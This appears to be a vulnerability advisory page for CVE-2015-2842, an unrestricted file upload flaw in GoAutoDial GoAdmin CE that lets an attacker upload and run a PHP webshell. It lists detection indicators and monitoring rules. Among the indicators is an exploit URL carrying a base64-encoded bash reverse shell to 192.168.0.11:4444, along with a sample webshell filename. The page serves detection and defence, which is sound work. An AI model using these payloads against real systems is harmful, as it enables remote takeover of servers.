CVE-2015-2842

published 2015-05-12

CVE-2015-2842: Unrestricted file upload vulnerability in go_audiostore.php in the audiostore (Voice Files) upload functionality in GoAutoDial GoAdmin CE 3.x before…

Priority P2 70 critical 10 CVSS 2.0

AV N AC L Au N C C I C A C

EXPLOIT

Unrestricted file upload vulnerability in go_audiostore.php in the audiostore (Voice Files) upload functionality in GoAutoDial GoAdmin CE 3.x before 3.3-1421902800 allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in sounds/.

Affected

2 ranges

Vendor	Product	Version range	Fixed in
goautodial	goadmin_ce	—	—
goautodial	goadmin_ce	—	—

Detection & IOCs extracted from sources · hover to see the quote

path /var/lib/asterisk/sounds↗

path sounds/go_bogus.wav.php↗

filename go_bogus.wav.php↗

url /sounds/go_bogus.wav.php↗

url /index.php/go_site/cpanel/|| bash -c "eval `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEvNDQ0NCAwPiYx | base64 --decode`"↗

• → Monitor HTTP POST requests to go_audiostore.php containing filenames with double extensions (e.g., .wav.php, .wav.jsp) indicative of extension-bypass file upload attempts. ↗
• → Alert on HTTP GET requests to the /sounds/ directory for files matching the pattern go_*.php (or other executable extensions), as all attacker-uploaded files are prefixed with 'go_' and placed in the sounds directory. ↗
• → Detect direct HTTP requests to files under /sounds/ with executable extensions (.php, .pl, .py, .sh) as post-exploitation webshell access following the file upload. ↗
• → Alert on HTTP requests to /index.php/go_site/cpanel/ containing shell metacharacters (||, &&, ;) or base64-encoded payloads, indicating command injection exploitation (CVE-2015-2844/2845, often chained with this CVE). ↗
• → Monitor for outbound TCP connections on port 4444 from the web server process, consistent with a reverse bash shell established after successful exploitation. ↗

• · Any GoAutoDial version between 3.3-1406088000 and 3.3-1421902800 may be vulnerable, as intermediate releases did not include code fixes for these vulnerabilities. ↗
• · The /sounds/ directory is a symlink to /var/lib/asterisk/sounds, meaning uploaded webshells are directly web-accessible; ensure this directory is not served with PHP execution enabled. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.